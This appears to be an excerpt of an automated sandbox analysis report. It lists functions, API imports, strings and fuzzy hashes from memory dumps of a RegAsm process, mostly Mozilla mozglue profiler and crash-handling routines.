Opcode Fuzzy Hash: ff321891aaa329802af2f3add74d8e03542b237709aa0e4cf0e5ae0610598714
Instruction Fuzzy Hash: 08710271A0034A9FC704DF28D444BAABBB5FF49304F444669D8594BB41D774E6A8CFE2

Function 6C33B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C33B0A6,6C33B0A6,?,6C33AF67,?,00000010,?,6C33AF67,?,00000010,00000000,?,?,6C33AB1F), ref: 6C33B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C33B0A6,6C33B0A6,?,6C33AF67,?,00000010,?,6C33AF67,?,00000010,00000000,?), ref: 6C33B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C33B0A6,6C33B0A6,?,6C33AF67,?,00000010,?,6C33AF67,?,00000010), ref: 6C33B25F

Strings

map/set<T> too long, xrefs: 6C33B1FA

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 68974c551966641a95ff495eb5d755f9560587b1c729720b3edef9849695f70a
Instruction ID: dd89d27d019828ead5391dfd8e47aafdf1779c7fdd3ec05a1b61250d9b3300f9
Opcode Fuzzy Hash: 68974c551966641a95ff495eb5d755f9560587b1c729720b3edef9849695f70a
Instruction Fuzzy Hash: AE615975A046958FD701CF19C880A9ABBE1BF4A31CF28C599D85D8FB52C336E845CFA1

Function 6C2FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

EnterCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD4F2
LeaveCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD50B

Part of subcall function 6C2DCFE0: EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2DCFF6
Part of subcall function 6C2DCFE0: LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD52E
EnterCriticalSection.KERNEL32(6C35E7DC), ref: 6C2FD690
LeaveCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD751

Strings

MOZ_CRASH(), xrefs: 6C2FD4BB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 8518e194abf94a5bd61c5d32a243346133460b83dc2e5b591105e7c40597aa7c
Instruction ID: 9101856de52f02d1e4c6ff586ebe4b55451e8b1d590eca910a6321c22307a420
Opcode Fuzzy Hash: 8518e194abf94a5bd61c5d32a243346133460b83dc2e5b591105e7c40597aa7c
Instruction Fuzzy Hash: E951D172A0470A8FD718CF28C19475AB7E5EB89704F94492EE9A9C7B84D770E801CF92

Function 6C324630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C324721

Strings

-%llu, xrefs: 6C324733
profiler-paused, xrefs: 6C3246E4
., xrefs: 6C32476A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 540977a25c0f5a44dbfd009f0919c261e2a3286e26a0886ffff1a4856eb5eb64
Instruction ID: 6e85b174e030590bf931c0c2f299d390a6d45d983c881fc1d8fe2365fcf5ed63
Opcode Fuzzy Hash: 540977a25c0f5a44dbfd009f0919c261e2a3286e26a0886ffff1a4856eb5eb64
Instruction Fuzzy Hash: A9415972F047089BCB08DF78E85155EBBE9EF85748F10C63DE8956B781EB3498448B52

Function 6C349830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C34985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C34987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C3498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C3498D9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 50a08eaac045175b997161160bfefbfc577526cc92bcef9da473dbb60c6e3a52
Instruction ID: 1f1dfefcafcada69b96b7b6ec8ef8abd8c1d6bd009c8186b1f87f4f10ea7f48a
Opcode Fuzzy Hash: 50a08eaac045175b997161160bfefbfc577526cc92bcef9da473dbb60c6e3a52
Instruction Fuzzy Hash: F4310576B002085BDB14AF59D844AEF77E9DF88718F50802DEA5A9BB40DB3199048FE2

Function 6C3246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C324721

Part of subcall function 6C2D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C313EBD,00000017,?,00000000,?,6C313EBD,?,?,6C2D42D2), ref: 6C2D4444

Strings

-%llu, xrefs: 6C324733
profiler-paused, xrefs: 6C3246E4
., xrefs: 6C32476A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: a33feeb5c14aad4d256e3fd207dbad742ab08580aa51468ec30957e6edee6628
Instruction ID: b4e239b8accac9c15ae48e34bad0620a4334094e9ad058ce1501cf9880d511b5
Opcode Fuzzy Hash: a33feeb5c14aad4d256e3fd207dbad742ab08580aa51468ec30957e6edee6628
Instruction Fuzzy Hash: 41314B75F043084BCB0CCF6CD88169DBBE6DB89314F55813DE9559B741E77598048F91

Function 6C32B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C313EBD,6C313EBD,00000000), ref: 6C2D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C32B127), ref: 6C32B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C32B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C32B4E4

Strings

pid:, xrefs: 6C32B4DE

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 9b61b9833c19bd69dcbb578a54ac517971f03d97ac2032ecc6e0abd7213c60b3
Instruction ID: 6314cd34bb93fb569fcb1f50552c28d702296dee5676bed7277976fdd736e361
Opcode Fuzzy Hash: 9b61b9833c19bd69dcbb578a54ac517971f03d97ac2032ecc6e0abd7213c60b3
Instruction Fuzzy Hash: C431D231A012089BDF10DFA9D880AEEB7B5FF4931CF940529D8526FA41D736E945CFA1

Function 6C2EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C337A3F), ref: 6C2EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C337A3F), ref: 6C2EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C337A3F), ref: 6C2EBF7E

Strings

4l, xrefs: 6C2EBF84

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: 4l
API String ID: 4279176481-1800608144
Opcode ID: 228d96fe17bd2a9495ca98d4d05c4ada88135848cb384f50ae0f0d423eac2256
Instruction ID: e426666aa2c2da6ec67373f97e6e35467c86894500c29dc8cbba77f1e7855da7
Opcode Fuzzy Hash: 228d96fe17bd2a9495ca98d4d05c4ada88135848cb384f50ae0f0d423eac2256
Instruction Fuzzy Hash: 0A11BCB92007048FC729CF0CD599966FBF8FB59309355885DEA8A8BB60C732A800CF90

Function 6C2DF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C34D020), ref: 6C2DF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C2DF132

Strings

SHGetKnownFolderPath, xrefs: 6C2DF12C
shell32, xrefs: 6C2DF11D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 741cecfb81a130f545de058c5462cc9a748deec2217eb72270e62fc8964fae95
Instruction ID: cb2eb414f02680cf2ddf7bb5c336eca782a59c92edaefed27ee3f81f10c39ce8
Opcode Fuzzy Hash: 741cecfb81a130f545de058c5462cc9a748deec2217eb72270e62fc8964fae95
Instruction Fuzzy Hash: BB015E7170121A9BCF008F69DC48A9B7BFCFF4A659B910418FC49E7200D730AA00CBA0

Function 6C31E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C31E577
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31E584
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C31E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C31E722, 6C31E750, 6C31E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C31E777
MOZ_PROFILER_STARTUP, xrefs: 6C31E5A1, 6C31E5CC, 6C31E5FF, 6C31E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C31E826, 6C31E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C31E655

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 6e27f7bc7b72803788c09529f6d5362a6dc522ed590e5067db279138517f3314
Instruction ID: 8301c1dec5e1f6b141dbcbc9d088a6eec070306d03009b041ffc89e0e43498d1
Opcode Fuzzy Hash: 6e27f7bc7b72803788c09529f6d5362a6dc522ed590e5067db279138517f3314
Instruction Fuzzy Hash: 3911A171604354DFCB009F15C448A6ABBF8FFC972CFC20519E8859BA50C775A804CF95

Function 004187F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
wsprintfW.USER32 ref: 00418818

Strings

%hs, xrefs: 0041880F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction ID: ed9823074eed6dc814ef0c36eacf0fed31b39f083cef978cb02bde33a7ef5422
Opcode Fuzzy Hash: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction Fuzzy Hash: DAE0EC75A40208FBD720EF94ED0AE6D77A9EB04711F100154FE0997290DA719E119BA9

Function 6C2E2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C2E237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C2E2B9C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ad1ccc482a45c133ba412c6cdc93ff8e67996d59c2865e897b9d6029617dc7bd
Instruction ID: 0e0a17493f8da8974c4d193d9593f114f6d18b0ee1bd542c33fbd432b21b1823
Opcode Fuzzy Hash: ad1ccc482a45c133ba412c6cdc93ff8e67996d59c2865e897b9d6029617dc7bd
Instruction Fuzzy Hash: A0E160B1A0020A8FDB18CF59C994A9EB7B2FF8C314F598168ED066B745D771EC85CB90

Function 6C320C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C320CD5

Part of subcall function 6C30F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C30F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C320D40
free.MOZGLUE ref: 6C320DCB

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

free.MOZGLUE ref: 6C320DDD
free.MOZGLUE ref: 6C320DF2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: d38c07059859fbc9fcb59cbd29c42d2fb0c0ab36b61b135321cd91bce952c225
Instruction ID: 7b2a31be7ecd0021cc80e112e2d7c8833705799ffb51fcc85ba56cc83013b2c6
Opcode Fuzzy Hash: d38c07059859fbc9fcb59cbd29c42d2fb0c0ab36b61b135321cd91bce952c225
Instruction Fuzzy Hash: 9B415875A097848BD720CF29C08079AFBE5BFC8714F508A2EE8D887710D7749449CF82

Function 6C329120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C328242,?,00000000,?,6C31B63F), ref: 6C329188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C328242,?,00000000,?,6C31B63F), ref: 6C3291BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C328242,?,00000000,?,6C31B63F), ref: 6C3291EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C328242,?,00000000,?,6C31B63F), ref: 6C329200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C328242,?,00000000,?,6C31B63F), ref: 6C329219

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 7face55a22495319f194d3ad812b7242e18d1faac010a92138f9d68d5605bc1e
Instruction ID: bc94213f60e4c22c57ca7b1652c8c51d8def1e5ba582465054fc97fd9601e1de
Opcode Fuzzy Hash: 7face55a22495319f194d3ad812b7242e18d1faac010a92138f9d68d5605bc1e
Instruction Fuzzy Hash: E4312131A007098BEF00DF68DC447AA73E9EF85318F554629D85ADB640EB35E808CFA1

Function 6C310800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E7DC), ref: 6C310838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C31084C
EnterCriticalSection.KERNEL32(?), ref: 6C3108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C3108BD
LeaveCriticalSection.KERNEL32(6C35E7DC), ref: 6C3108D5

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: cc78903d54b48667cfe450f52a97c59c04d7539d96527405b84b55178636008c
Instruction ID: 530948e59953ac92c67c8ada8b6f2726187814a23ae2177711809c5b239e9931
Opcode Fuzzy Hash: cc78903d54b48667cfe450f52a97c59c04d7539d96527405b84b55178636008c
Instruction Fuzzy Hash: 3021B031B093498FEF088F65DC84BAE73B9AF45708F940528E919A7A40DB36A8148FD1

Function 6C32CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32CDA4

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

Part of subcall function 6C32D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C32CDBA,00100000,?,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32D158
Part of subcall function 6C32D130: InitializeConditionVariable.KERNEL32(00000098,?,6C32CDBA,00100000,?,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32CDC4

Part of subcall function 6C327480: ReleaseSRWLockExclusive.KERNEL32(?,6C3315FC,?,?,?,?,6C3315FC,?), ref: 6C3274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32CECC

Part of subcall function 6C2ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C2ECAA2

Part of subcall function 6C31CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C32CEEA,?,?,?,?,00000000,?,6C31DA31,00100000,?,?,00000000), ref: 6C31CB57
Part of subcall function 6C31CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C31CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C32CEEA,?,?), ref: 6C31CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C31DA31,00100000,?,?,00000000,?), ref: 6C32D058

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 05eac425d92d4bb8d5a2ab86ccbb15b2751d538f92e6a0aa4b34b48781056679
Instruction ID: 1376836b33616d6cc5a7f3f00241a540ea4db597e648f063781146324bdd1b9a
Opcode Fuzzy Hash: 05eac425d92d4bb8d5a2ab86ccbb15b2751d538f92e6a0aa4b34b48781056679
Instruction Fuzzy Hash: 95D15E71A04B469FDB18CF28C480B99F7E1BF89308F01862DD9598B751EB31E9A5CF81

Function 6C2E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

